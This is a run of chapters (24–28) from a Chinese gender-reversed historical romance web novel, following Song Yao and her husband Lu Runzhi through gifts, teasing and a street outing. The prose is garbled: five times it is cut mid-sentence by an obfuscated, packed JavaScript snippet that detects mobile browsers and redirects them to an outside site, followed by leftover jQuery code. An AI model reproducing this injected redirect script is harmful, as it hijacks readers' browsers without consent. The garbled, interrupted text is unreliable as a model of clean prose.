陆润之重新覆上面纱,走出雅间,青连立刻跟在他身后。 陈茗从小跟在司马怀瑾身边,深知这位在太女殿下心中的份量,恭恭敬敬将人送下楼,望着陆润之出尘的身影,不禁扼腕叹息,只可惜,这样一位妙人,只能屈居于商户后院了,听说那宋瑶还是个不学无术的,真是天鹅配了个癞蛤蟆。 出了茶楼,陆润之去买了些笔墨纸砚,一趟下来,已近晌午,估摸着时间,带着青连回了府上,毕竟一个已婚男子在外面大半天,已是不合规矩,如果是不好说话的公爹,恐怕会生事。 谁知回到家中,叫来管家一问才知,李容竟是外出还未归,管家似乎对这样的事情习以为常,毫不意外,憨笑着对他说:“主君出去玩,可能晚上才会回来,少主君,咱们府上没那么多规矩,您见笑了。” “管家哪里的话。”陆润之将人打发了。 富可敌国的家底,随意的一家人,似乎与主流家庭格格不入。 嫁进来之前,陆润之曾想过可能会面对复杂的后院,不好想与的公爹,以及不学无术的纨绔妻主,而今一比,倒是一个天上一个地下了。 陆润之喝着茶,看着窗外屋檐上未消融的积雪,想起宋瑶说的,等开春了,在院子里种些花草,打发些时间。 青连从他见了司马怀瑾起,一直欲言又止,眼神时不时瞥向陆润之。 陆润之一直知道他有话说,只是未理睬,此时倒有几分兴致,“你想说什么?” 他的视线未落在青连身上,只看着窗外,声线淡淡的,青连却知此时公子的心情还不错,松了一口气,大胆问:“公子为什么去见太女?” 陆润之这才看向他,笑了笑,视线又落在窗外,目光深远,蓝天白云印在他眸中,像是倒映在深蓝的海面上,轻轻说了一句,“青连,我不想一辈子都待在这个后院。” 或许他嫁到宋府,是一个机会。 凛冽的风吹进来,青连打了个寒颤,他眼中是少年坚韧透彻的心性,和如冰雪一样干净的抱负,多年以后,那个青涩的小公子已经位极人臣,青连再也没有见过他如此干净纯粹的笑容。 果不其然,宋瑶今日回来更是比往常要晚些,陆润之已经用完了晚饭,她才带着一身寒意进了房间,哆嗦着凑近火炉烤火,忍不住打了个喷嚏,夜里忽然降温,估计又将迎来一波大雪。 陆润之给她倒了杯热水,未见早上递给她的大氅,问道:“怎么冷成这样,早上拿给你的大氅呢?” 宋瑶接过热茶,猛灌一口,才道:“吃饭时,不小心泼上了茶水,丢掉了。”她没说的是,是合作方安排的小侍故意泼在她身上的,后来那小侍可怜兮兮地求她收留,她见那小侍颇有姿色,衣不蔽体,遂把大氅送给了他,毕竟她向来对美人很有耐心。 陆润之多么通透的一个人,靠近时闻到了她身上淡淡的酒气,对生意场上的事情便猜到一二,只是他没多问,道:“吃过饭了,还要再用些吗?” “不用。”宋瑶摆摆手,视线落在身侧人身上,上下打量一眼,明显察觉到眼前人今天心情很好,往日的他总是平静得波澜不惊,而如今淡淡的声线里却透着少年的轻快,于是笑着问道:“今天怎么这么开心?” 陆润之摸了一下自己的脸,“有吗?” 宋瑶笑,比划了一下,“脸上没有,你心里开心。” 陆润之一愣,连从小跟在他身边的青连都没看出来。 “开心的话,你可以表现得再明显一点,反正你现在又不是在丞相府了。”宋瑶将茶杯放在桌子上,然后走过去歪在暖烘烘的榻上,舒服的喟叹一声,“累死了,这才是生活啊!” 她浑身透着的松弛与惬意似乎会传染人,陆润之在她对面坐下。 宋瑶翘着二郎腿,晃着脚尖,在袖筒里摸了摸,不知道摸出了什么,握紧两个拳头,伸到他面前,“早上跟你说给你带些好吃的,但是回来晚了,想着你定是吃过饭了,便没给你带吃的,猜猜我给你带了什么?” 陆润之看着她的两个拳头,笑了笑,“你逗小孩子呢?” 宋瑶神秘兮兮催促,“猜猜在哪个手中?” 陆润之值了一下她的右手。 宋瑶惊讶,“这就猜中了?” 陆润之:“你其实知道东西在哪个袖筒中,方才只是假意寻找,左边的袖筒比右边下坠的幅度要大,所以在左边的袖筒中,你用右手拿的。” “你真是聪慧!”宋瑶摊开空空如也的左手,朝他竖了个大拇指,毫不吝啬地夸赞,“那你再猜猜我给你带了什么?” 陆润之猜测可能是玉佩吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419523|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坠之类的,但是为了配合她,只是笑着摇摇头。 宋瑶也知他故意不说破,配合着摊开手掌,是一条纤细的抹额,中心的吊坠晶莹剔透,在烛火下泛着莹润的光泽,似有光泽流转,毫无杂质,清雅别致,一看就价值不菲。 陆润之:“这是额饰?” 宋瑶点点头,递给他,“我第一眼看到就觉得它很适合你,掌柜的说这是南疆的和田玉,冬暖夏凉,我觉得倒也是这么回事。” 陆润之接过,那水滴状的玉握在手中,还带着温热,这种好物以前司马怀瑾总会在他帮她解决问题之后赏赐给他,每次都会花费一会儿功夫介绍东西得来费尽功夫,价值连城。 宋瑶:“喜欢吗?” 陆润之轻眨睫毛,“谢谢。” 宋瑶好整以暇望着他,“又是尚可?” 陆润之笑了,“不,我很喜欢。” 这是第一次有人不含任何目的的送给他礼物,在宋瑶眼中,这只是一件随手带的寻常礼物。 陆润之将额饰收好,宋瑶盯着他的背影,内心有些可惜,还想给他戴上看看呢。 “我今日出门了。” 宋瑶脑海中想着明日早晨拉着他梳妆的可能性,一时没听清他说什么,“你说什么?” 陆润之说:“我今日去了一趟茶楼。”日后他还是会去的,为了以防万一,还是提前与她说好。 宋瑶:“怎么样?” 陆润之:“还可以,我日后想多去走走。” 宋瑶挥手应了,“你想出去便出去,爹爹也经常出去,你若觉得无聊,可与他一起,他很是会玩。” 陆润之顿了一下,“爹爹他经常去哪里?” 宋瑶笑,“算了,你还是别跟他一起了,免得学坏。” 说着,她打了个哈欠,奔波一天,着实有些累。 宋瑶毫无形象地瘫在榻上,懒洋洋的,想睡觉,等陆润之都洗漱完,换上睡衣来叫她,她还瘫在那里。 宋瑶懒着骨头朝陆润之伸出手,想叫他拉她起来。 陆润之纵容地拉住她,没使多大力气就把她拉起来了。 宋瑶一把软骨头,直接靠在人身上。 陆润之顿时浑身一顿。 宋瑶抱住香香的夫郎,狠狠吸了一口,才有力气去洗漱。 25. 第二十五章 第二十五章 昨晚应酬太晚,加之宋瑶协助宋母谈成了一笔大生意,宋琼高兴之下,特地恩准宋瑶今天今日休息,是以第二天一早,宋瑶一觉睡到自然醒,睁开眼睛就看到妆奁前梳妆的夫郎。 宋瑶打了个哈欠,伸了个懒腰,盘起腿,坐在床上,盯着陆润之的背影,他与她外出见到的儿郎不同,不喜复杂的发式,只简单地将如瀑布般的长发挽在脑后,正是如此,更显得风采卓绝。 身后的视线过于灼热,透过铜镜,陆润之看到宋瑶坐在床上,眼睛一眨也不眨地盯着她,好似在看什么好玩的东西,他毫不怀疑,如果他一直坐在这里,她能一直盯着。 陆润之放下梳子,转过身来,看着她,“你在看什么。” 宋瑶坦坦荡荡,“看你啊。” 陆润之眼神闪了闪,抿了抿唇,岔开话题,“你今日不出去吗?” “不出。”宋瑶的视线落在他额间,想到什么,抬腿下床,径直朝陆润之走去。 她的视线过于灼热,陆润之放在袖子中的手不自觉收紧,垂眸,避开她的目光,随着她的脚步一点点逼近,不自觉紧张起来。 宋瑶在他面前站定,目光专注地扫过他如玉的面庞。 “你做什么——”陆润之戛然而止,他的美眸倏地睁大,下巴被眼前的女子强制抬起,被迫迎上她灼热的视线,她的目光太过专注,陆润之放在膝盖上的双手收紧,浑身微僵。 这么可以称得上轻佻的动作,犹如大街上调戏良家妇男的轻浮女子,在陆润之看来,哪怕在夫妻间,也是越界的行为,但是她的目光专注却不含一丝杂质,就像是纯粹地欣赏一件艺术品。 宋瑶细细地打量着他,内心感慨,这张脸简直是女娲最完美的作品,连每一根眉毛都长得恰到好处,多添一笔就是多余,她本想学习古人闺中之乐,给夫郎画眉,现下又觉得多余,索性改变主意,问道:“我昨日送你的额饰呢?” 陆润之:“首饰盒里。” 宋瑶松开手,打开旁边的首饰盒,果然看到昨日她送他的额饰,她拿起来,问他:“我给你戴上,可以吗?” 陆润之抬眸看她,没说话。 宋瑶笑了笑,手指轻轻地穿过他丝滑的发丝,将那额饰戴在他发间,最后调整了一下玉坠,使它正对他的眉心,最后她后退半步,那精美的玉饰垂在他的眉心,却丝毫没有掩盖他的容色,她一眼看到的还是他清冷的双眸,果然在美人面前,一切珠宝玉饰都失了颜色。 他端坐在那里,耳尖红红的,呼吸都不如往日平静,像是被登徒子轻薄的小仙长,却依旧保持镇定。 宋瑶后退半步,恭恭敬敬朝他作了个揖,“不知仙长今日下凡所谓何事?” 陆润之侧身,避开她这一拜,“莫要闹了。” 宋瑶偏要凑到他面前,轻佻地勾起他一缕发丝,学着那话本子里的登徒子,信手拈来,“不知仙长是否婚配,小女子家有良铺万家,腰缠万贯,若是仙长许了我,定不会叫仙长在这凡间受苦了去。” “宋瑶!”陆润之沉声,生气地挥开他的手。 话落,青连立刻闯进来,着急道:“公子,你怎么——” 他一直在外面候着,听到公子生气的生气立刻破门而入,他头一次听到公子如此生气的声音,宋瑶那女子定是做了什么,谁知他一闯进来,发现公子满脸通红,美眸含怒,羞恼地瞪着宋瑶,而宋瑶笑意盈盈地看着公子…… 青连的大脑空白了一瞬,随即注意到公子眉心的吊坠,公子可从不喜欢这种首饰,此时还有什么不明白的。 宋瑶的目光落在青连身上,“怎么了?” 青连立刻脸色爆红,结结巴巴,“对……对不起!奴不是有意的……” 说完落荒而逃,心里恨不得给自己一巴掌,这明显就是人家小两口的闺房之乐,他傻愣愣地冲了进去,太尴尬了。 青连一连跑出老远,气喘吁吁,好久才平静下来,一想到方才的画面就觉得不可思议,公子竟然真的跟那个女人做了真夫妻,虽然从相貌、性格、家底来说,宋瑶的确也不错,但是她胸无点墨,难成大器,但是既然公子嫁给了她,能夫妻恩爱,自然也是好的,只是公子既然打算跟宋瑶好好过日子,那为什么还要为太女做事呢。 青连想到他说的话:我不想一辈子都待在这个后院。 难道公子打算利用宋瑶? 青连被自己的想法吓了一激灵,不可能,没有必要,公子不是这样的人,算了,公子想做什么就做什么吧,他只希望公子能够幸福开心。 房内。 宋瑶被自家夫郎灰溜溜地赶出了门外,谁叫她把人惹毛了,直到吃完早餐,陆润之一句话也没对她说,只当她是空气。 宋瑶却觉得他冷着脸的模样也可爱极了,即使不理她,也要往他身边凑,贱兮兮的。 李容早就免了陆润之的请安礼,一是陆润之身份在那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419524|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,二是他自己也起不来,所以吃完早餐后,陆润之暂时不想看到宋瑶,就去了书房。 本着不去打扰人读书的想法,宋瑶在府中逛了一圈,觉得很是无趣,回去的路上,脚下一转,拐进了陆润之的书房。 书房的门开着,陆润之知道是她进来,眼皮子都没抬一下,只专注于眼前的宣纸上,执笔落墨。 宋瑶进来后,也没说话,走过去瞅了一眼他写的字,内心惊叹连连,人如其字,一身风骨。 她瞅了一眼,也没打扰他,从书架上抽了一本游记,歪在一旁的榻上,无聊地看了起来。 一时间,房间内只有青连磨墨的声音,以及她翻书的声音。 她向来闲不住,是个没话找话的人,陆润之本以为不出一刻,她定会没话找话,半个时辰过去,陆润之放下毛笔,活动了一下手腕,睨了一眼歪在榻上的女人,瞧见她竟然津津有味地看着那本游记,已经将那本游记翻了大半,真是难得。 读书也是个囫囵吞枣的。 陆润之放松了一下,随即又执起毛笔。 一本游记没多少内容,记载北方的风土人情,倒是与宋瑶以前了解的大差不差,她本身记性就好,不出一个时辰,就读完了。 她将游记放回书架上原来的位置,瞧着青连磨墨的动作,观察了几息,随即走过去,在青连疑惑的目光中,朝他挥了挥手,示意他退下,青连犹豫了下,还是退到了一遍。 宋瑶接了青连的活儿,按照方才观察的磨墨技巧,有模有样地磨起来,顺便瞅了一眼他在写什么。 陆润之专注于笔下的文章,等到沾墨的时候,才发现身边换了人,他执笔的手一顿,抬眼看向宋瑶。 宋瑶:“看着我做什么?” 她不知道,而今世道,提倡男子无才便是德,能让家中儿郎读书识字的少之又少,女子们也是偏爱无才贤良的夫郎,更是有大半人家,不许家中男子进入书房,像她这样,给夫郎研磨的,说出去,恐怕会被人耻笑。 陆润之执笔的手顿在空中良久,久到毛笔间一滴墨就要落在他即将写完的文章上。 宋瑶眼尖的拿走他的笔,“发什么愣呢,墨都要滴在你写的东西上了,好不容易才写了这么多。” 陆润之的视线落在自己写的文章上,敛了眸,不知道在想什么,良久,他接过宋瑶手中的笔,重新放在笔架上,看向宋瑶,早上心中那一丝恼怒,早就消散了,他问:“你想玩什么?” 26. 第二十六章 第二十六章 宋瑶露出惊讶的神色,这话竟然是从他口中问出来的,不由得惊奇地看了他一眼,扫了一眼他未完成的文章,“你的文章不写了?” 陆润之看着她,“今日就到这里。” 宋瑶觉得他的眼睛会说话,好像下一句话是“先陪你玩”,多半是他的错觉。 既然美人作陪,她岂有拒绝的道理。 宋瑶丝毫没有打扰人的自觉,停下研磨,过去牵了他的手,动作自然熟稔,像是两人已经是多年恩爱夫妻。 陆润之一愣。 她的手干燥温暖,与他微凉的手不同,强硬而温柔地覆在他手上。 宋瑶自然察觉到他的微愣,只当做没注意,问道:“你有没有什么想玩的?” 陆润之摇头。 宋瑶想了想,“你想出去玩吗?” 陆润之的注意力渐渐从被她牵住的手上移开,“出去可以玩什么?” 宋瑶拉着他坐下,好像古代确实没什么好玩的,一些娱乐性的项目也不适合他,“出去逛逛,看看有没有什么想买的,累了就找个地方喝茶,或者去郊外散散心。” 如今提倡男子大门不出二门不迈,成婚后有妻主陪同方可外出。 陆润之已经记不得上次出门散步是什么时候了,偶尔出门也是直奔目的地,办完正事就回,从未有闲情雅致在街上漫步,今日天气正好,或许可以出去走走。 “可。”陆公子惜字如金,点头同意,“我先去换个衣服。” 宋瑶拉住他,上下打量了他,“这身不是挺好的?” 陆润之一本正经道:“这是在家穿的衣服。” 宋瑶觉得有些好笑,笑道:“那你外出穿的衣服是什么样子?” 陆润之知她在调侃自己,睨了她一眼,还是回答了,“更正式些。” 宋瑶觉得他一本正经地回应,配上他那张冷冷清清的脸,有点可爱,于是忍不住笑了笑,“不用换了,你这样已经是整条街最靓的仔了,再换还让不让别人活了。” 陆润之听不懂她口中“最靓的仔”是什么意思,但能够猜到大致意思,又在调侃他,于是甩开她的手,往门口走。 宋瑶笑着追上去,重新拉住他,再逗下去就生气,好言好语哄道:“欸,我错了,不该调侃你,你去哪里?” 陆润之意识到自己这般就像是儿郎使小性子般,抿了抿唇,“我去戴个帷帽。” “戴什么帷帽,我夫郎长得如此好看,有什么不能见人的,叫他们看到是他们的福气。”宋瑶理所当然道,甚至语气带着一丝小骄傲。 陆润之还是有些犹豫。 宋瑶直接拉着他往外走,“走吧,有为妻在呢,别担心。” 她的想法总是与众不同,小时候爹爹总是说他长得太过招人,要求他出门戴上帷帽,好似这张脸生得是个过错,长大以后,曾应好友要求,参加过一次诗会,好友刚成婚不久,说他家妻主觉得他美貌过人,不愿意让他出门,叫被人看见,好友说这话时一脸娇羞,惹得旁人艳羡,唯有陆润之觉得不解。 如今经宋瑶这么一说,到时明白了。 他们不是谁的附属品,无论生得是何模样,总该堂堂正正地走在街上。 陆润之思考得入神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419525|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连宋瑶跟他说话都没注意到。 宋瑶捏了捏他的手,“你在想什么,这么入神?” 陆润之的目光扫过她的脸,顿了一下。 倒是让宋瑶觉得困惑,“我脸上有什么东西吗?” 陆润之摇摇头,语气夹带着一丝羡慕,“你真的有很好的母亲跟父亲,他们把你教养得很好。” 从某方面来说,宋琼和李容确实把原主养得很好,从不拘着她,她们两个也没有那么多规矩,是个本本分分做生意的商人,只是原主被狐朋狗友带坏了,原著中面对陆润之自尊心作祟,在狐朋狗友的怂恿下一步错,步步错,才落得如此下场。 而从现代来的宋瑶,父母早逝,但确实也把她教得很好,只是同宋琼和李容武神关系罢了。 宋瑶笑了笑,说了句不着调的话,“他们把我养的很好,现在我养你啊,我也一定能把你养的很好。” 陆润之刻意避开她的视线,半响,倔强地说道:“我不需要你养。”顿了下,“我可以养你。” 他这幅认真的模样,惹得宋瑶哈哈大笑,“行行行,我等你养我。” 按照原著,日后他位高权重,真的有资格说这种话,只是到时候,两人恐怕没有未来,谈何养不养的,宋瑶只是觉得现在这个一本正经的小公子真的挺可爱的,一点都不像书中后期描写的权臣那般高深莫测。 两人说着到了宋府门口。 陆润之停下,看向袖子下,她握着他的手,示意她松开。 哦,外出有伤风化。 宋瑶想了想对待这个小古董,还是不能太过,徐徐图之,还是松开了。 27. 第二十七章 第二十七章 今日阳光甚好,是冬日难得的暖阳,阳光铺洒而下,暖洋洋的。 宋瑶在阳光下伸了个懒腰,深吸了一口新鲜空气,浑身轻松。 中心大街上,摊贩们席地而坐,或在摊子前吆喝,络绎不绝,今日出街游玩的人也不少,有点像宋瑶印象中繁盛的唐朝,百姓安居乐业,经济繁荣,只是民风没有那么奔放。 意料之中的,陆润之过人的相貌惹得人频频瞩目,大多是女子,肆无忌惮的目光锁定在他脸上,再看到他身边模样同样好看的女子,都不由得失落,街道上少有男子,偶有几个,还都带着帷帽,遮得严严实实。 陆润之鲜少出门,如今这么多肆无忌惮的目光落在他身上,他虽能保持镇定自若,但依旧觉得不适,想把脸遮起来。 他下意识与宋瑶保持距离,可以落后她一步。 忽地,手背覆上一抹温热,陆润之抬眼,宋瑶朝他眨了下眼。 陆润之想要挣脱她的手,却挣不开,索性作罢,宽大的袖子遮住了相握的手,倒也不是很明显。 走在人群中,陆润之悄悄屈了屈指,回握了宋瑶一下,只是她没察觉,宋瑶只是更加握紧了他的手,一个使劲,迫使他与自己并肩走着。 两人女才郎貌,走在人群中就是一道亮丽的风景线,男子们纷纷投来羡慕的目光,妻主如此好看且温柔,相敬如宾,甚至允许夫郎与自己并排走,处处护着夫郎,这是天下所有男子梦中情娘。 “这位女君,如此爱护自己的夫郎,不如买个花环送给自己的夫郎吧,都是野花编织的,你家夫郎这么好看,戴上肯定更好看。”卖花环的老板一看就知道这两人新婚燕尔,正是恩爱的时候,非常有眼力见的招呼道,她做生意习惯了,嗓门很大。 宋瑶停下脚步,看向陆润之。 陆润之的目光扫过那些编织的各式各样的花环上,摇了摇头。 宋瑶对摊贩的老板笑道:“那可不行,我家夫郎再好看一点,我就该害怕了。” 惹得摊贩老板哈哈大笑,“妹子,你说得倒也有理。”谁家有这么好看的夫郎,都得时刻操心自己的头上是否带点绿。 听着她们二人的对话,陆润之的耳根微红。 宋瑶牵着他慢慢地走,晃了晃他的手,“走了半天,没有什么想看看的吗?” 陆润之没说话。 宋瑶直他有些紧张,于是温和道:“有什么感兴趣的,我们就去看看,他们看就看了,难不成他们还会吃了你不成。” 陆润之知她在安慰自己,“只是有些不习惯这样热闹的氛围。” 宋瑶:“那我们回去,还是继续逛?” 陆润之的视线落在前方卖糖人的摊子,示意,“我们去那边看看。” 宋瑶自然带着他过去。 卖糖人的老板是个中年大姐,正埋头在给一个小女孩儿画小鸟糖人,她功底深厚,画的小鸟栩栩如生,像要是从糖里飞出来。 陆润之看着她的动作。 老板将画好的糖人递给等待的小女孩儿,这才看向宋瑶和陆润之,脸上展开憨厚的笑容,招呼道:“女君跟主君看看,想要什么样式,我都可以画。” 宋瑶看向陆润之,“你想要什么样的。” 陆润之看了一圈摊子上摆放的样品,有小鸟、蝴蝶、花朵、小人像等等,粗略地看下来,每一个还行,但是仔细一看,又觉得差点意思,毫无新意。 宋瑶一瞧他这幅模样,便知这位心高气傲的小公子哪一个都没看上,于是笑着问老板道:“老板,我们可以自己画吗,可以给同样的价钱。” 这会儿摊子前顾客也不多,老板好说话地答应了,并且热心地给宋瑶讲解了技巧。 宋瑶认真听完,对陆润之说:“瞧我给你画一个。” 她的目光在陆润之脸上顿了几秒,随后挽起袖子,灵活地挑起一小块金黄色的糖稀,动作行云流水,铜勺在糖稀中轻轻一转,随即悬于石板上方,手腕微微一抖,金黄的糖丝便如有了生命般流淌下来。 陆润之也被她行云流水般的动作吸引。 “女君天赋异禀,比我这个画了十年的人还熟练!”老板惊叹道。 宋瑶专注于眼前的糖人,只见在她的手法之下,一个Q版的陆润之跃然纸上,长发飘飘,就连冷清的表情都如出一辙,她满意地放下铜勺,将糖人拿起来,递给陆润之。 陆润之眼中闪过一抹惊奇,“这是我?” 宋瑶笑,“显而易见。” 老板在一旁赞叹道:“妙啊!妙极!” 这种Q版的人物既保留了人物栩栩如生的表情特点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419526|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又显得非常可爱,是老板从未见过的。 陆润之看着宋瑶特地给他的糖人,不自觉弯起嘴角,心情显而易见的放松。 老板在一起瞧着,心道这女君不光长得好看,还特别会哄人,怪不得能娶到如此模样气质样样出众的夫郎。 陆润之对宋瑶道:“我也会画。” “哦?”宋瑶挑眉,自觉让开位置给他,“那你来试试?” 陆润之将糖人递给她,走过去。 恰好这时,摊前有顾客来了。 宋瑶掏出一锭银子递给老板。 老板立刻喜笑颜开,对顾客道:“不好意思,我这边被这位女君包下了,烦请您到别的摊位看看,或者稍后再来。” 陆润之问宋瑶,“你想要什么样的?” 他语气平静,听起来毫无变化,但是宋瑶听出了一丝自信满满,想给她露一手的感觉。 “什么样的都能画?”宋瑶故意问道。 陆润之惜字如金,“自然。” 看来胸有成竹。 宋瑶笑,“小鸟。” 陆润之皱眉,“你看不起我。” 宋瑶忙道:“我可不敢。” 陆润之拿起铜勺,睨了她一眼。 宋瑶立刻改口,“那蝴蝶吧,要有花纹的。”总不能一下子太难了,把人自信心打倒了。 谁料,她说她的,陆润之自己画自己的,只见一手挽袖,露出纤细的手腕,一手执勺,手腕微动,目光专注于眼前,相比于宋瑶,他刚开始还不太熟练,掌握不好力度,所以画的很慢,不出三笔,已经摸到了门道,动作渐渐的行云流水。 他只站在那里,微微躬身,神情专注,手里拿着铜勺,却像执着画笔,给人一种错觉,仿佛面前的不是摊子,而是画纸,他是在作画。 宋瑶笑着注视着他,搭眼一瞧就知道他在画什么。 不出多时,陆润之便同样画出了一个Q版的宋瑶,递给她。 他画的宋瑶懒懒散散地躺着,翘着二郎腿,嘴里还叼着狗尾巴草,自由随性。 阳光下的糖人折射出光芒。 宋瑶懒懒散散的,跟陆润之画的糖人一个模子刻出来的。 宋瑶没接他递过来的,而是张口咬住了自己手中的糖人,含在口中,懒懒地笑着,着看向他。 28. 第二十八章 第二十八章 她竟然吃掉了给他画的糖人。 宋瑶看着他,目光灼灼,比阳光还烫人。 陆润之不自然地别开了视线,脸色微红,手里拿着她的糖人,有些无措,不知作何反应,这种感觉很奇怪。 老板的视线在这对年轻的小夫妻身上来回打量,目光流露出感慨,年轻真好啊。 陆润之头一次被人这么打量,脸色更红了,他脑子好似不会思考了,连离开都没有想到,只是僵硬在原地。 宋瑶心道,不该没忍住这个时候逗他,本来他都不习惯出门,于是笑着拉住他的手腕,将人拉到自己身边离开,走之前对老板挥了挥手,说道:“谢了。” 老板看着他们两个人的背影,笑着摇了摇头。 直到宋瑶拉住他的手腕离开,陆润之才回过神来,耳根还在发热,隔着衣料,他还能感觉到她手心的温热,这么被她拉着,经过方才一遭,本以为更加不自在,没想到这会儿反而放松了下来。 周遭的嘈杂声,变成了这人间的烟火气。 宋瑶故意没有看他,留给他时间平复心情,就像头一次带小猫出门,总要格外小心翼翼,她甚至已经做好了陆润之会跟她生气的准备,她甚至可以想到他的反应,会甩开她的手,或许还会掉头回去。 忽地,衣袖一动,宋瑶惊讶地转身,抬眼望向陆润之,还没说话,就已经被他拽去一个摊前。 摊子是卖木雕的,大大小小的木雕,栩栩如生。 摊主头一次看到这么好看的男子,心中惊叹了一番,随即笑着问道:“这位小郎君,看看可否喜欢?” 陆润之的目光一一扫过摊子上摆放的木雕,觉得新奇,目光停顿在一只小猫木雕上良久,松开宋瑶的手,正准备弯腰去拿的时候,摊主眼疾手快地拿起递给他。 陆润之道了声谢,捧着木雕,细细地端详,小猫雕刻得栩栩如生,脑袋圆润,一双杏眼仿佛在说话,憨态可掬。 “这木雕用的上好的香樟木,木质细腻,不易开裂,凑近还有一股淡香,我们家祖祖辈辈都是做木雕的,家传的手艺,每一刀都是我慢慢雕出来的,这木雕能被郎君看中也是有缘,我可以便宜卖给郎君,只需五两银子。”摊主热情地介绍。 宋瑶见他喜欢,正准备掏银子买下,却见陆润之将木雕还给了摊主,“不用了。”接着对宋瑶道:“我们走吧。” 身后传来摊主的挽留,“若是喜欢,可便宜卖给公子。” 宋瑶看他,问道:“我瞧着你挺喜欢的,怎么不买下?” 陆润之道:“那木质稀疏,已有裂纹,拿在手中不如香樟木般有质感,味道也不似香樟木清新,分明是普通的柳木。” “你真厉害。”宋瑶赞叹了一句,不过她持不同观点,“但是如果你喜欢的话,管它什么木呢,买下就是,反正也不贵。” 她这幅纨绔女子的模样,陆润之笑了笑,道:“她若是如实相告,那是柳木,我兴许会买下,手艺确实不错,但是她故意诓我,我便觉得这钱不能被她从我手中赚了去。” 宋瑶点了点头,“你倒是挺有原则的。”如果是她,就买了,千金难买她高兴,毕竟现在她还是有钱。 陆润之仿佛知道她在想什么似的,“那确实跟你千金难买高兴不一样。” 宋瑶洒脱地认了,“是啊,千金难买本小金高兴。” 陆润之笑了笑,没说话,觉得她随性自由的性子挺好的。 宋瑶瞧着他越来越放松的样子,“我本以为你方才会回去。” 两人皆是聪明人,心照不宣,陆润之立刻明白她指的是什么,他虽觉得不好意思,却从没想过要折回,说不清为什么,他也不知道怎么对宋瑶说。 宋瑶却刨根问底,“怎么不说话?” 陆润之看了她一眼。 这人真的很奇怪,很会拿捏他的情绪,一切都恰到好处,她这么问,料定他会回答她,而确实也是这样。 陆润之如实道:“我不会回去,说不清楚为什么。” 宋瑶:“哦。” 她对他的理解又多了一分,他不是会逃避的人,平静地接受现实,适应能力极强,就像当初果断决定嫁给他,现在又从没想过后退。 两人又逛了会儿,已接近晌午。 宋瑶提着给他买的小物件,“带你去吃东西。” 陆润之自然没有意见。 他本以为宋瑶会带她去著名的酒楼,在雅间里吃着精美的饭菜,没想到她带他随便在街头找了家馄饨铺,挑了张白木桌子坐下,把东西放下,然后招呼他也坐下,对在铁锅前忙碌的老板喊了一声,“杨姨,两碗鲜肉馄饨!” 隔着腾腾热气,老板忙中抬头,熟稔高声应:“哟,宋小姐来了,马上就好!” 陆润之在木凳上坐下,简易搭建的铺子,客人却很多,冬天里飘散着馄饨的热气和香气,铺子很小,倒是干干净净,从他坐下起,有一道很明显的视线就落在他身上,他视线一抬,就看到了在老板身后包馄饨的少年,眉目间与老板有几分相似。 那少年约莫十四五岁,还未张开,面庞稚嫩,目光在他和宋瑶之间打量,带着几分哀伤。 宋瑶拿过水壶,给自己和他倒了两杯水,笑道:“这家在京中开了差不多十年了,我打小就喜欢来这吃,今天特地带你来尝尝,看看合不合你的口味,杨姨的手艺可是京中一流,连酒楼那些大厨都比不过。” 陆润之听她这么说,立刻明了,那少年是老板家的,从小与宋瑶认识,对宋瑶有几分爱慕之心。 “你想什么呢?”宋瑶问。 陆润之莫名说了句,“空气有点酸。” 宋瑶,“有人吃饺子蘸醋呢,你不喜欢?” 陆润之笑笑,喝了口粗茶,“没有。” 馄饨上来了,端盘子的正是那少年,他穿着粗布短衣,五官清秀稚嫩,眼眶红红的。 宋瑶将一碗馄饨放到陆润之面前,抽了双筷子递给他,再去拿自己那碗,一抬头看到杨怀书,惊讶道:“怀书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 